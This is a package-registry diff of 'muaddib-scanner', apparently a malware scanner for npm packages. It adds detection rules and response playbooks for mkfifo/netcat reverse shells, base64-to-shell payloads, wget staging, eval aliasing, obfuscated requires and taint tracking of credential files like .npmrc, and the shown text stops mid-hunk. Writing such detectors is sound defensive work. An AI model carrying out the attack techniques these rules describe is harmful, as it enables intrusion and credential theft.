muaddib-scanner 2.5.12 → 2.5.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/logs/alerts/{2026-03-07T16-18-04-719-evil-pkg.json → 2026-03-07T19-15-13-572-evil-pkg.json} +1 -1
- package/logs/alerts/{2026-03-07T16-18-04-720-suspect-pkg.json → 2026-03-07T19-15-13-572-suspect-pkg.json} +1 -1
- package/logs/alerts/{2026-03-07T16-18-04-720-evil-pkg.json → 2026-03-07T19-15-13-573-evil-pkg.json} +1 -1
- package/logs/alerts/{2026-03-07T16-18-05-033-evil-pkg.json → 2026-03-07T19-15-13-948-evil-pkg.json} +1 -1
- package/logs/daily-reports/2026-03-07.json +4 -4
- package/package.json +1 -1
- package/src/ioc/scraper.js +11 -1
- package/src/ioc/updater.js +24 -5
- package/src/response/playbooks.js +13 -0
- package/src/rules/index.js +36 -0
- package/src/scanner/ast-detectors.js +144 -15
- package/src/scanner/ast.js +3 -0
- package/src/scanner/dataflow.js +66 -0
- package/src/scanner/deobfuscate.js +58 -7
- package/src/scanner/entropy.js +37 -1
- package/src/scanner/shell.js +4 -1
- package/src/scanner/typosquat.js +23 -3
- package/src/scoring.js +20 -3
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"date": "2026-03-07",
|
|
3
|
-
"timestamp": "2026-03-
|
|
3
|
+
"timestamp": "2026-03-07T19:15:14.082Z",
|
|
4
4
|
"embed": {
|
|
5
5
|
"embeds": [
|
|
6
6
|
{
|
|
@@ -34,14 +34,14 @@
|
|
|
34
34
|
},
|
|
35
35
|
{
|
|
36
36
|
"name": "Top Suspects",
|
|
37
|
-
"value": "1. **npm/test-dedup-detection-
|
|
37
|
+
"value": "1. **npm/test-dedup-detection-1772910913569@1.0.0** — 1 finding(s)",
|
|
38
38
|
"inline": false
|
|
39
39
|
}
|
|
40
40
|
],
|
|
41
41
|
"footer": {
|
|
42
|
-
"text": "MUAD'DIB - Daily summary | 2026-03-07
|
|
42
|
+
"text": "MUAD'DIB - Daily summary | 2026-03-07 19:15:14 UTC"
|
|
43
43
|
},
|
|
44
|
-
"timestamp": "2026-03-
|
|
44
|
+
"timestamp": "2026-03-07T19:15:14.081Z"
|
|
45
45
|
}
|
|
46
46
|
]
|
|
47
47
|
},
|
package/package.json
CHANGED
package/src/ioc/scraper.js
CHANGED
|
@@ -1226,8 +1226,18 @@ async function runScraper() {
|
|
|
1226
1226
|
}
|
|
1227
1227
|
try {
|
|
1228
1228
|
const tmpHomeFile = HOME_IOC_FILE + '.tmp';
|
|
1229
|
-
|
|
1229
|
+
const homeJsonData = JSON.stringify(existingIOCs, null, 2);
|
|
1230
|
+
fs.writeFileSync(tmpHomeFile, homeJsonData);
|
|
1231
|
+
// Write HMAC before rename for consistency with updater.js
|
|
1232
|
+
const { generateIOCHMAC } = require('./updater.js');
|
|
1233
|
+
const homeHmac = generateIOCHMAC(homeJsonData);
|
|
1234
|
+
fs.writeFileSync(HOME_IOC_FILE + '.hmac', homeHmac);
|
|
1230
1235
|
fs.renameSync(tmpHomeFile, HOME_IOC_FILE);
|
|
1236
|
+
// Mark HMAC as initialized
|
|
1237
|
+
const hmacMarker = path.join(homeDir, '.hmac-initialized');
|
|
1238
|
+
if (!fs.existsSync(hmacMarker)) {
|
|
1239
|
+
try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
|
|
1240
|
+
}
|
|
1231
1241
|
saveSpinner.succeed('Saved IOCs + compact format + home directory');
|
|
1232
1242
|
} catch (e) {
|
|
1233
1243
|
saveSpinner.succeed('Saved IOCs + compact format (home dir write failed: ' + e.message + ')');
|
package/src/ioc/updater.js
CHANGED
|
@@ -100,14 +100,19 @@ async function updateIOCs() {
|
|
|
100
100
|
delete baseIOCs._fileSet;
|
|
101
101
|
|
|
102
102
|
// Atomic write: write to .tmp then rename (UP-001)
|
|
103
|
+
// HMAC written BEFORE rename to prevent race condition (crash between rename and HMAC write)
|
|
103
104
|
const tmpFile = CACHE_IOC_FILE + '.tmp';
|
|
104
105
|
const jsonData = JSON.stringify(baseIOCs);
|
|
105
106
|
fs.writeFileSync(tmpFile, jsonData);
|
|
106
|
-
fs.renameSync(tmpFile, CACHE_IOC_FILE);
|
|
107
|
-
|
|
108
|
-
// Write HMAC signature alongside the cache file
|
|
109
107
|
const hmac = generateIOCHMAC(jsonData);
|
|
110
108
|
fs.writeFileSync(CACHE_IOC_FILE + '.hmac', hmac);
|
|
109
|
+
fs.renameSync(tmpFile, CACHE_IOC_FILE);
|
|
110
|
+
|
|
111
|
+
// Mark HMAC as initialized — future loads require HMAC presence
|
|
112
|
+
const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
|
|
113
|
+
if (!fs.existsSync(hmacMarker)) {
|
|
114
|
+
try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
|
|
115
|
+
}
|
|
111
116
|
|
|
112
117
|
const totalNpm = baseIOCs.packages.length;
|
|
113
118
|
const totalPyPI = (baseIOCs.pypi_packages || []).length;
|
|
@@ -236,8 +241,15 @@ function loadCachedIOCs() {
|
|
|
236
241
|
mergeIOCs(merged, JSON.parse(cachedData));
|
|
237
242
|
}
|
|
238
243
|
} else {
|
|
239
|
-
// No HMAC file
|
|
240
|
-
|
|
244
|
+
// No HMAC file — check if HMAC was previously initialized
|
|
245
|
+
const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
|
|
246
|
+
if (fs.existsSync(hmacMarker)) {
|
|
247
|
+
// HMAC was initialized before but .hmac file is missing → possible tampering
|
|
248
|
+
console.log('[WARN] IOC cache HMAC file missing but was previously initialized — skipping cache.');
|
|
249
|
+
} else {
|
|
250
|
+
// First run or pre-HMAC version — load but warn
|
|
251
|
+
mergeIOCs(merged, JSON.parse(cachedData));
|
|
252
|
+
}
|
|
241
253
|
}
|
|
242
254
|
} catch (e) {
|
|
243
255
|
console.log('[WARN] Failed to load cached IOCs: ' + e.message);
|
|
@@ -443,6 +455,13 @@ function invalidateCache() {
|
|
|
443
455
|
// ============================================
|
|
444
456
|
// Key is derived from a stable machine-specific seed + hardcoded salt.
|
|
445
457
|
// This protects against local file tampering by unauthorized processes.
|
|
458
|
+
//
|
|
459
|
+
// RISK ACCEPTED (v2.5.14): Full cryptographic signing of IOC updates (e.g., Ed25519
|
|
460
|
+
// signatures verified against a pinned public key) was evaluated but not implemented.
|
|
461
|
+
// Current mitigations: HTTPS-only downloads + domain allowlist in src/shared/download.js
|
|
462
|
+
// + HMAC-SHA256 integrity for cached data. The HMAC key is machine-local, so it does
|
|
463
|
+
// not protect against a compromised upstream source — that risk is accepted given the
|
|
464
|
+
// cost/benefit trade-off and the existing HTTPS + domain pinning controls.
|
|
446
465
|
const IOC_HMAC_SALT = 'muaddib-ioc-integrity-v1';
|
|
447
466
|
|
|
448
467
|
function getIOCHMACKey() {
|
|
@@ -165,6 +165,15 @@ const PLAYBOOKS = {
|
|
|
165
165
|
fifo_reverse_shell:
|
|
166
166
|
'CRITIQUE: Reverse shell FIFO/named pipe detecte. Machine potentiellement compromise. Isoler immediatement.',
|
|
167
167
|
|
|
168
|
+
fifo_nc_reverse_shell:
|
|
169
|
+
'CRITIQUE: Reverse shell via mkfifo + netcat detecte. Machine potentiellement compromise. Isoler immediatement. Verifier les connexions sortantes actives.',
|
|
170
|
+
|
|
171
|
+
base64_decode_exec:
|
|
172
|
+
'CRITIQUE: Payload encode en base64 pipe vers un shell. Decoder le payload pour analyse: echo "<payload>" | base64 -d. Isoler la machine si deja execute.',
|
|
173
|
+
|
|
174
|
+
wget_base64_decode:
|
|
175
|
+
'Telechargement + decodage base64 detecte. Verifier l\'URL de telechargement et decoder le contenu. Pattern de staging malveillant en deux etapes.',
|
|
176
|
+
|
|
168
177
|
shai_hulud_backdoor:
|
|
169
178
|
'CRITIQUE: Backdoor Shai-Hulud dans GitHub Actions. Supprimer le workflow et auditer les runs precedents.',
|
|
170
179
|
|
|
@@ -448,6 +457,10 @@ const PLAYBOOKS = {
|
|
|
448
457
|
'new Worker() avec eval:true detecte. Le code s\'execute dans un thread worker separe, contournant la detection AST du thread principal. ' +
|
|
449
458
|
'Verifier le contenu du code passe au Worker. Si dynamique ou obfusque, supprimer le package. ' +
|
|
450
459
|
'Analyser les communications inter-threads (parentPort, workerData) pour identifier le payload.',
|
|
460
|
+
|
|
461
|
+
fragmented_high_entropy_cluster:
|
|
462
|
+
'Cluster de chaines courtes a haute entropie detecte. Possible fragmentation de payload pour eviter la detection. ' +
|
|
463
|
+
'Reconstituer les fragments et analyser le contenu combine. Verifier si les chaines sont concatenees ou reassemblees a l\'execution.',
|
|
451
464
|
};
|
|
452
465
|
|
|
453
466
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -385,6 +385,33 @@ const RULES = {
|
|
|
385
385
|
references: ['https://attack.mitre.org/techniques/T1059/004/'],
|
|
386
386
|
mitre: 'T1059.004'
|
|
387
387
|
},
|
|
388
|
+
fifo_nc_reverse_shell: {
|
|
389
|
+
id: 'MUADDIB-SHELL-013',
|
|
390
|
+
name: 'FIFO + Netcat Reverse Shell',
|
|
391
|
+
severity: 'CRITICAL',
|
|
392
|
+
confidence: 'high',
|
|
393
|
+
description: 'Reverse shell via mkfifo + netcat (sans /dev/tcp). Technique alternative de reverse shell utilisant un named pipe.',
|
|
394
|
+
references: ['https://attack.mitre.org/techniques/T1059/004/'],
|
|
395
|
+
mitre: 'T1059.004'
|
|
396
|
+
},
|
|
397
|
+
base64_decode_exec: {
|
|
398
|
+
id: 'MUADDIB-SHELL-014',
|
|
399
|
+
name: 'Base64 Decode Pipe to Shell',
|
|
400
|
+
severity: 'CRITICAL',
|
|
401
|
+
confidence: 'high',
|
|
402
|
+
description: 'Payload encode en base64 decode et pipe vers bash/sh. Technique d\'obfuscation courante pour cacher des commandes malveillantes.',
|
|
403
|
+
references: ['https://attack.mitre.org/techniques/T1140/'],
|
|
404
|
+
mitre: 'T1140'
|
|
405
|
+
},
|
|
406
|
+
wget_base64_decode: {
|
|
407
|
+
id: 'MUADDIB-SHELL-015',
|
|
408
|
+
name: 'Wget + Base64 Decode',
|
|
409
|
+
severity: 'HIGH',
|
|
410
|
+
confidence: 'high',
|
|
411
|
+
description: 'Telechargement via wget suivi de decodage base64. Pattern de staging en deux etapes pour dropper un payload.',
|
|
412
|
+
references: ['https://attack.mitre.org/techniques/T1105/'],
|
|
413
|
+
mitre: 'T1105'
|
|
414
|
+
},
|
|
388
415
|
|
|
389
416
|
// AST additional patterns
|
|
390
417
|
possible_obfuscation: {
|
|
@@ -958,6 +985,15 @@ const RULES = {
|
|
|
958
985
|
references: ['https://attack.mitre.org/techniques/T1027/'],
|
|
959
986
|
mitre: 'T1027'
|
|
960
987
|
},
|
|
988
|
+
fragmented_high_entropy_cluster: {
|
|
989
|
+
id: 'MUADDIB-ENTROPY-004',
|
|
990
|
+
name: 'Fragmented High Entropy Cluster',
|
|
991
|
+
severity: 'MEDIUM',
|
|
992
|
+
confidence: 'medium',
|
|
993
|
+
description: 'Cluster de chaines courtes a haute entropie (8-49 chars) detecte. Technique de fragmentation de payload pour contourner le seuil de longueur minimum d\'analyse entropique.',
|
|
994
|
+
references: ['https://attack.mitre.org/techniques/T1027/'],
|
|
995
|
+
mitre: 'T1027'
|
|
996
|
+
},
|
|
961
997
|
js_obfuscation_pattern: {
|
|
962
998
|
id: 'MUADDIB-ENTROPY-003',
|
|
963
999
|
name: 'JS Obfuscation Pattern',
|
|
@@ -330,6 +330,44 @@ function handleVariableDeclarator(node, ctx) {
|
|
|
330
330
|
ctx.globalThisAliases.add(node.id.name);
|
|
331
331
|
}
|
|
332
332
|
|
|
333
|
+
// B1: const E = eval; const F = Function;
|
|
334
|
+
if (node.init?.type === 'Identifier' &&
|
|
335
|
+
(node.init.name === 'eval' || node.init.name === 'Function')) {
|
|
336
|
+
ctx.evalAliases.set(node.id.name, node.init.name);
|
|
337
|
+
}
|
|
338
|
+
// B1: const E = (x) => eval(x); const E = function(x) { return eval(x); }
|
|
339
|
+
if ((node.init?.type === 'ArrowFunctionExpression' || node.init?.type === 'FunctionExpression') &&
|
|
340
|
+
node.init.params?.length >= 1) {
|
|
341
|
+
const body = node.init.body;
|
|
342
|
+
if (body?.type === 'CallExpression') {
|
|
343
|
+
const cn = getCallName(body);
|
|
344
|
+
if (cn === 'eval' || cn === 'Function') ctx.evalAliases.set(node.id.name, cn);
|
|
345
|
+
}
|
|
346
|
+
if (body?.type === 'BlockStatement' && body.body?.length === 1 &&
|
|
347
|
+
body.body[0].type === 'ReturnStatement' && body.body[0].argument?.type === 'CallExpression') {
|
|
348
|
+
const cn = getCallName(body.body[0].argument);
|
|
349
|
+
if (cn === 'eval' || cn === 'Function') ctx.evalAliases.set(node.id.name, cn);
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
// B5: Track object literal string properties
|
|
354
|
+
if (node.init?.type === 'ObjectExpression') {
|
|
355
|
+
const propMap = new Map();
|
|
356
|
+
for (const prop of node.init.properties) {
|
|
357
|
+
if (prop.type !== 'Property') continue;
|
|
358
|
+
const key = prop.key?.type === 'Identifier' ? prop.key.name :
|
|
359
|
+
(prop.key?.type === 'Literal' ? String(prop.key.value) : null);
|
|
360
|
+
const val = extractStringValueDeep(prop.value);
|
|
361
|
+
if (key && val) propMap.set(key, val);
|
|
362
|
+
}
|
|
363
|
+
if (propMap.size > 0) ctx.objectPropertyMap.set(node.id.name, propMap);
|
|
364
|
+
}
|
|
365
|
+
|
|
366
|
+
// Track initial string values for reassignment tracking
|
|
367
|
+
if (strVal !== null && strVal !== undefined) {
|
|
368
|
+
ctx.stringVarValues.set(node.id.name, strVal);
|
|
369
|
+
}
|
|
370
|
+
|
|
333
371
|
// Track variables assigned from path.join containing .github/workflows
|
|
334
372
|
if (node.init?.type === 'CallExpression' && node.init.callee?.type === 'MemberExpression') {
|
|
335
373
|
const obj = node.init.callee.object;
|
|
@@ -442,17 +480,68 @@ function handleCallExpression(node, ctx) {
|
|
|
442
480
|
});
|
|
443
481
|
}
|
|
444
482
|
} else if (arg.type === 'Identifier') {
|
|
445
|
-
//
|
|
446
|
-
|
|
447
|
-
const
|
|
448
|
-
|
|
449
|
-
|
|
450
|
-
|
|
451
|
-
|
|
452
|
-
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
|
|
483
|
+
// Check if variable was reassignment-tracked to a dangerous module
|
|
484
|
+
const DANGEROUS_MODS_REQ = ['child_process', 'fs', 'net', 'dns', 'http', 'https', 'tls'];
|
|
485
|
+
const resolvedVal = ctx.stringVarValues?.get(arg.name);
|
|
486
|
+
if (resolvedVal) {
|
|
487
|
+
const norm = resolvedVal.startsWith('node:') ? resolvedVal.slice(5) : resolvedVal;
|
|
488
|
+
if (DANGEROUS_MODS_REQ.includes(norm)) {
|
|
489
|
+
ctx.threats.push({
|
|
490
|
+
type: 'dynamic_require', severity: 'CRITICAL',
|
|
491
|
+
message: `require(${arg.name}) resolves to "${norm}" via variable reassignment — module name obfuscation.`,
|
|
492
|
+
file: ctx.relFile
|
|
493
|
+
});
|
|
494
|
+
} else {
|
|
495
|
+
// If the variable was assigned from a static value (string literal,
|
|
496
|
+
// array of strings, object with string values), it's a plugin loader pattern
|
|
497
|
+
const severity = ctx.staticAssignments.has(arg.name) ? 'LOW' : 'HIGH';
|
|
498
|
+
ctx.threats.push({
|
|
499
|
+
type: 'dynamic_require',
|
|
500
|
+
severity,
|
|
501
|
+
message: severity === 'LOW'
|
|
502
|
+
? `Dynamic require() with statically-assigned variable "${arg.name}" (plugin loader pattern).`
|
|
503
|
+
: 'Dynamic require() with variable argument (module name obfuscation).',
|
|
504
|
+
file: ctx.relFile
|
|
505
|
+
});
|
|
506
|
+
}
|
|
507
|
+
} else {
|
|
508
|
+
// If the variable was assigned from a static value (string literal,
|
|
509
|
+
// array of strings, object with string values), it's a plugin loader pattern
|
|
510
|
+
const severity = ctx.staticAssignments.has(arg.name) ? 'LOW' : 'HIGH';
|
|
511
|
+
ctx.threats.push({
|
|
512
|
+
type: 'dynamic_require',
|
|
513
|
+
severity,
|
|
514
|
+
message: severity === 'LOW'
|
|
515
|
+
? `Dynamic require() with statically-assigned variable "${arg.name}" (plugin loader pattern).`
|
|
516
|
+
: 'Dynamic require() with variable argument (module name obfuscation).',
|
|
517
|
+
file: ctx.relFile
|
|
518
|
+
});
|
|
519
|
+
}
|
|
520
|
+
}
|
|
521
|
+
// B5: require(obj.prop) — MemberExpression argument
|
|
522
|
+
else if (arg.type === 'MemberExpression') {
|
|
523
|
+
const objName = arg.object?.type === 'Identifier' ? arg.object.name : null;
|
|
524
|
+
const propName = arg.property?.type === 'Identifier' ? arg.property.name :
|
|
525
|
+
(arg.property?.type === 'Literal' ? String(arg.property.value) : null);
|
|
526
|
+
const DANGEROUS_MODS = ['child_process', 'fs', 'net', 'dns', 'http', 'https', 'tls'];
|
|
527
|
+
let resolved = false;
|
|
528
|
+
if (objName && propName && ctx.objectPropertyMap?.has(objName)) {
|
|
529
|
+
const val = ctx.objectPropertyMap.get(objName).get(propName);
|
|
530
|
+
if (val) {
|
|
531
|
+
const norm = val.startsWith('node:') ? val.slice(5) : val;
|
|
532
|
+
if (DANGEROUS_MODS.includes(norm)) {
|
|
533
|
+
ctx.threats.push({ type: 'dynamic_require', severity: 'CRITICAL',
|
|
534
|
+
message: `require(${objName}.${propName}) resolves to "${norm}" — object property indirection.`,
|
|
535
|
+
file: ctx.relFile });
|
|
536
|
+
resolved = true;
|
|
537
|
+
}
|
|
538
|
+
}
|
|
539
|
+
}
|
|
540
|
+
if (!resolved) {
|
|
541
|
+
ctx.threats.push({ type: 'dynamic_require', severity: 'HIGH',
|
|
542
|
+
message: 'Dynamic require() with member expression argument (object property obfuscation).',
|
|
543
|
+
file: ctx.relFile });
|
|
544
|
+
}
|
|
456
545
|
}
|
|
457
546
|
// Wave 4: detect require() of .node binary files (native addon camouflage)
|
|
458
547
|
const reqStr = extractStringValueDeep(arg);
|
|
@@ -881,6 +970,19 @@ function handleCallExpression(node, ctx) {
|
|
|
881
970
|
}
|
|
882
971
|
}
|
|
883
972
|
|
|
973
|
+
// B1: Alias call — E('code') where E = eval or F = Function
|
|
974
|
+
if (node.callee.type === 'Identifier' && ctx.evalAliases?.has(node.callee.name)) {
|
|
975
|
+
const aliased = ctx.evalAliases.get(node.callee.name);
|
|
976
|
+
ctx.hasEvalInFile = true;
|
|
977
|
+
ctx.hasDynamicExec = true;
|
|
978
|
+
ctx.threats.push({
|
|
979
|
+
type: aliased === 'eval' ? 'dangerous_call_eval' : 'dangerous_call_function',
|
|
980
|
+
severity: 'HIGH',
|
|
981
|
+
message: `Indirect ${aliased} via alias "${node.callee.name}" — eval wrapper evasion.`,
|
|
982
|
+
file: ctx.relFile
|
|
983
|
+
});
|
|
984
|
+
}
|
|
985
|
+
|
|
884
986
|
if (callName === 'eval') {
|
|
885
987
|
ctx.hasEvalInFile = true;
|
|
886
988
|
ctx.hasDynamicExec = true;
|
|
@@ -1432,6 +1534,29 @@ function handleLiteral(node, ctx) {
|
|
|
1432
1534
|
}
|
|
1433
1535
|
|
|
1434
1536
|
function handleAssignmentExpression(node, ctx) {
|
|
1537
|
+
// Variable reassignment: x += 'process' or x = x + 'process'
|
|
1538
|
+
if (node.left?.type === 'Identifier') {
|
|
1539
|
+
if (node.operator === '+=' && ctx.stringVarValues.has(node.left.name)) {
|
|
1540
|
+
const rightVal = extractStringValueDeep(node.right);
|
|
1541
|
+
if (rightVal !== null) {
|
|
1542
|
+
const combined = ctx.stringVarValues.get(node.left.name) + rightVal;
|
|
1543
|
+
ctx.stringVarValues.set(node.left.name, combined);
|
|
1544
|
+
if (DANGEROUS_CMD_PATTERNS.some(p => p.test(combined))) {
|
|
1545
|
+
ctx.dangerousCmdVars.set(node.left.name, combined);
|
|
1546
|
+
}
|
|
1547
|
+
}
|
|
1548
|
+
}
|
|
1549
|
+
if (node.operator === '=' && node.right?.type === 'BinaryExpression') {
|
|
1550
|
+
const resolved = resolveStringConcat(node.right);
|
|
1551
|
+
if (resolved) {
|
|
1552
|
+
ctx.stringVarValues.set(node.left.name, resolved);
|
|
1553
|
+
if (DANGEROUS_CMD_PATTERNS.some(p => p.test(resolved))) {
|
|
1554
|
+
ctx.dangerousCmdVars.set(node.left.name, resolved);
|
|
1555
|
+
}
|
|
1556
|
+
}
|
|
1557
|
+
}
|
|
1558
|
+
}
|
|
1559
|
+
|
|
1435
1560
|
// Detect object property indirection: obj.exec = require('child_process').exec
|
|
1436
1561
|
// or obj.fn = eval — stashing dangerous functions in object properties
|
|
1437
1562
|
if (node.left?.type === 'MemberExpression' && node.right) {
|
|
@@ -1489,14 +1614,17 @@ function handleAssignmentExpression(node, ctx) {
|
|
|
1489
1614
|
if (node.left?.type === 'MemberExpression') {
|
|
1490
1615
|
const left = node.left;
|
|
1491
1616
|
|
|
1492
|
-
// globalThis.fetch = ... or globalThis.XMLHttpRequest = ...
|
|
1493
|
-
if (left.object?.type === 'Identifier' &&
|
|
1617
|
+
// globalThis.fetch = ... or globalThis.XMLHttpRequest = ... (B2: include aliases)
|
|
1618
|
+
if (left.object?.type === 'Identifier' &&
|
|
1619
|
+
(left.object.name === 'globalThis' || left.object.name === 'global' ||
|
|
1620
|
+
left.object.name === 'window' || left.object.name === 'self' ||
|
|
1621
|
+
ctx.globalThisAliases.has(left.object.name)) &&
|
|
1494
1622
|
left.property?.type === 'Identifier') {
|
|
1495
1623
|
if (HOOKABLE_NATIVES.includes(left.property.name)) {
|
|
1496
1624
|
ctx.threats.push({
|
|
1497
1625
|
type: 'prototype_hook',
|
|
1498
1626
|
severity: 'HIGH',
|
|
1499
|
-
message:
|
|
1627
|
+
message: `${left.object.name}.${left.property.name} overridden — native API hooking for traffic interception.`,
|
|
1500
1628
|
file: ctx.relFile
|
|
1501
1629
|
});
|
|
1502
1630
|
}
|
|
@@ -1712,7 +1840,8 @@ function handlePostWalk(ctx) {
|
|
|
1712
1840
|
|
|
1713
1841
|
// Wave 4: Download-execute-cleanup — https download + chmod executable + execSync + unlink
|
|
1714
1842
|
// Exclude when all URLs in the file point to safe registries (npm, GitHub, nodejs.org)
|
|
1715
|
-
|
|
1843
|
+
// B4: removed fetchOnlySafeDomains guard — compound requires fetch+chmod+exec, which is never legitimate
|
|
1844
|
+
if (ctx.hasRemoteFetch && ctx.hasChmodExecutable && ctx.hasExecSyncCall) {
|
|
1716
1845
|
ctx.threats.push({
|
|
1717
1846
|
type: 'download_exec_binary',
|
|
1718
1847
|
severity: 'CRITICAL',
|
package/src/scanner/ast.js
CHANGED
|
@@ -70,6 +70,9 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
70
70
|
workflowPathVars: new Set(),
|
|
71
71
|
execPathVars: new Map(),
|
|
72
72
|
globalThisAliases: new Set(),
|
|
73
|
+
evalAliases: new Map(), // B1: variable name → 'eval'|'Function'
|
|
74
|
+
objectPropertyMap: new Map(), // B5: objName → Map<propName, stringValue>
|
|
75
|
+
stringVarValues: new Map(), // Variable reassignment tracking: varName → string value
|
|
73
76
|
hasFromCharCode: content.includes('fromCharCode'),
|
|
74
77
|
hasJsReverseShell: /\bnet\.Socket\b/.test(content) &&
|
|
75
78
|
/\.connect\s*\(/.test(content) &&
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -203,6 +203,33 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
203
203
|
}
|
|
204
204
|
}
|
|
205
205
|
}
|
|
206
|
+
// B7: Taint propagation through data-preserving wrappers
|
|
207
|
+
if (initNode.type === 'CallExpression') {
|
|
208
|
+
const callee = initNode.callee;
|
|
209
|
+
let isTaintWrapper = false;
|
|
210
|
+
// JSON.stringify(x) / JSON.parse(x)
|
|
211
|
+
if (callee?.type === 'MemberExpression' &&
|
|
212
|
+
callee.object?.type === 'Identifier' && callee.object.name === 'JSON' &&
|
|
213
|
+
callee.property?.type === 'Identifier' &&
|
|
214
|
+
(callee.property.name === 'stringify' || callee.property.name === 'parse')) {
|
|
215
|
+
isTaintWrapper = true;
|
|
216
|
+
}
|
|
217
|
+
// x.toString() / String(x) / Buffer.from(x)
|
|
218
|
+
if (callee?.type === 'MemberExpression' &&
|
|
219
|
+
callee.property?.type === 'Identifier' && callee.property.name === 'toString') {
|
|
220
|
+
isTaintWrapper = true;
|
|
221
|
+
}
|
|
222
|
+
if (callee?.type === 'Identifier' && callee.name === 'String') {
|
|
223
|
+
isTaintWrapper = true;
|
|
224
|
+
}
|
|
225
|
+
if (isTaintWrapper && initNode.arguments.length >= 1) {
|
|
226
|
+
const wrappedArg = initNode.arguments[0];
|
|
227
|
+
if (wrappedArg.type === 'Identifier' && sensitivePathVars.has(wrappedArg.name)) {
|
|
228
|
+
sensitivePathVars.add(node.id.name);
|
|
229
|
+
}
|
|
230
|
+
}
|
|
231
|
+
}
|
|
232
|
+
|
|
206
233
|
// Track exec result capture: const output = execSync('cmd')
|
|
207
234
|
if (initNode.type === 'CallExpression') {
|
|
208
235
|
let execName = null;
|
|
@@ -246,6 +273,16 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
246
273
|
name: callName,
|
|
247
274
|
line: node.loc?.start?.line
|
|
248
275
|
});
|
|
276
|
+
// 4.2: fs.readFile callback data tainting
|
|
277
|
+
// fs.readFile('.npmrc', (err, data) => {...}) — taint `data` param
|
|
278
|
+
if (callName === 'readFile' || callName === 'fs.readFile') {
|
|
279
|
+
const lastArg = node.arguments[node.arguments.length - 1];
|
|
280
|
+
if (lastArg && (lastArg.type === 'FunctionExpression' || lastArg.type === 'ArrowFunctionExpression')) {
|
|
281
|
+
if (lastArg.params && lastArg.params.length >= 2 && lastArg.params[1].type === 'Identifier') {
|
|
282
|
+
sensitivePathVars.add(lastArg.params[1].name);
|
|
283
|
+
}
|
|
284
|
+
}
|
|
285
|
+
}
|
|
249
286
|
}
|
|
250
287
|
}
|
|
251
288
|
|
|
@@ -267,6 +304,35 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
267
304
|
}
|
|
268
305
|
}
|
|
269
306
|
|
|
307
|
+
// 4.1: Promise .then() callback tainting
|
|
308
|
+
// fs.promises.readFile('.npmrc').then(data => fetch(url, {body: data}))
|
|
309
|
+
// Detect .then() on a call to fs.promises.readFile with sensitive path
|
|
310
|
+
if (node.callee.type === 'MemberExpression' &&
|
|
311
|
+
node.callee.property?.type === 'Identifier' && node.callee.property.name === 'then' &&
|
|
312
|
+
node.callee.object?.type === 'CallExpression') {
|
|
313
|
+
const innerCall = node.callee.object;
|
|
314
|
+
// Check if inner call is fs.promises.readFile(sensitivePath)
|
|
315
|
+
if (innerCall.callee?.type === 'MemberExpression' &&
|
|
316
|
+
innerCall.callee.object?.type === 'MemberExpression') {
|
|
317
|
+
const outerObj2 = innerCall.callee.object.object;
|
|
318
|
+
const mid2 = innerCall.callee.object.property;
|
|
319
|
+
const method2 = innerCall.callee.property;
|
|
320
|
+
if (outerObj2?.type === 'Identifier' && mid2?.type === 'Identifier' && mid2.name === 'promises' &&
|
|
321
|
+
method2?.type === 'Identifier' && method2.name === 'readFile') {
|
|
322
|
+
const isFs2 = outerObj2.name === 'fs' || (taintMap.get(outerObj2.name)?.source === 'fs');
|
|
323
|
+
if (isFs2 && innerCall.arguments[0] && isCredentialPath(innerCall.arguments[0], sensitivePathVars)) {
|
|
324
|
+
// Taint the first param of the .then() callback
|
|
325
|
+
const thenCb = node.arguments[0];
|
|
326
|
+
if (thenCb && (thenCb.type === 'FunctionExpression' || thenCb.type === 'ArrowFunctionExpression')) {
|
|
327
|
+
if (thenCb.params && thenCb.params.length >= 1 && thenCb.params[0].type === 'Identifier') {
|
|
328
|
+
sensitivePathVars.add(thenCb.params[0].name);
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
}
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
}
|
|
335
|
+
|
|
270
336
|
if (callName === 'request' || callName === 'fetch' || callName === 'post' || callName === 'get') {
|
|
271
337
|
sinks.push({
|
|
272
338
|
type: 'network_send',
|
|
@@ -47,6 +47,24 @@ function deobfuscate(sourceCode) {
|
|
|
47
47
|
});
|
|
48
48
|
},
|
|
49
49
|
|
|
50
|
+
// ---- 1b. TEMPLATE LITERAL FOLDING ----
|
|
51
|
+
// `child_process` → 'child_process' (no expression templates)
|
|
52
|
+
// `child_${'process'}` → 'child_process' (with resolvable expressions)
|
|
53
|
+
TemplateLiteral(node) {
|
|
54
|
+
const folded = tryFoldConcat(node);
|
|
55
|
+
if (folded === null) return;
|
|
56
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
57
|
+
const after = quoteString(folded);
|
|
58
|
+
if (before === after) return; // no change
|
|
59
|
+
replacements.push({
|
|
60
|
+
start: node.start,
|
|
61
|
+
end: node.end,
|
|
62
|
+
value: after,
|
|
63
|
+
type: 'template_literal',
|
|
64
|
+
before
|
|
65
|
+
});
|
|
66
|
+
},
|
|
67
|
+
|
|
50
68
|
// ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
|
|
51
69
|
CallExpression(node) {
|
|
52
70
|
// String.fromCharCode(99, 104, 105, 108, 100) → "child"
|
|
@@ -199,14 +217,30 @@ function propagateConsts(sourceCode) {
|
|
|
199
217
|
VariableDeclaration(node) {
|
|
200
218
|
if (node.kind !== 'const') return;
|
|
201
219
|
for (const decl of node.declarations) {
|
|
202
|
-
if (decl.id?.type !== 'Identifier') continue;
|
|
203
220
|
if (!decl.init) continue;
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
